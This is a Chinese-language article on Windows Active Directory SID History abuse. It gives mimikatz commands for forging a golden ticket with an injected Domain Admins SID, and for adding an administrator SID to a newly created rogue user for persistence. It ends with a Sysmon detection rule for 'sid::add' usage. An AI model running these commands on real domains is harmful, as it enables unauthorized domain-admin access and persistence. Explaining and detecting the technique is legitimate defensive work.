一、SID及SID History
1、SID定义:
在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
2、SID History定义:
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
3、攻击思路一:
1)攻击场景
可以看成是黄金票据的一种拿到krbtgt之后将高权限用户的SID History添加到低权限的用户中注入到内存进行Dcsync或进行远程登录等,需要注意的是该操作并不会在域控的LDAP属性中添加,只会在攻击机的票据PAC中添加到高权限SID History。
2)利用步骤:
①拿到krbtgt hash (举例:bdff817d8997011cb4405a615635143f)
②拿到高权限SID (举例:S-1-5-21-3042504039-1145428418-1324677547-512(Doamin Admins))
③使用mimikatz进行攻击
命令: kerberos::golden /user:testSid3 /sids:S-1-5-21-3042504039-1145428418-1324677547-512 /sid:S-1-5-21-3042504039-1145428418-1324677547 /domain:test.com /krbtgt:bdff817d8997011cb4405a615635143f /ptt
4、攻击思路二:
1)攻击场景
使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
2)利用步骤:
①在域控制器上新建一个恶意用户“test”:
net user whoami 1234 /add
②启动mimikatz,执行如下命令:
privilege::debug sid::patch sid::add /sam:whoami/new:Administrator (将Administrator的SID添加到whoami的SID History属性中)
(注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。)
③接着,用powershell查看下这个恶意用户whoami的SID History:
Import-Module activedirectory Get-ADUser whoami -Properties sidhistory Get-ADUser administrator -Properties sidhistory
这样,whoami用户的SID History和administrator域管理员的SID相同,代表该用户拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。
二、域控制器上检测使用Mimikatz进行SID_History注入攻击思路分析
1、攻击场景
使用mimikatz可以将SID History属性添加到域中任意用户的SID History属性中。将具有管理员权限的SID History添加到普通域用户中,普通域用户可以获得域管理员的权限,从而进行提权/权限维持操作。
2、检测规则思路
- 数据源:sysmon告警日志-进程创建
- 命中逻辑:
- and:
- 进程命令行 包含(忽略大小写) 'sid::add'
- 进程命令行 包含(忽略大小写) '/sam'
- 进程命令行 包含(忽略大小写) '/new'
- and:
- 检测时间:10m
- 归并分组:受害者IP/设备IP
- 统计次数:count >= 1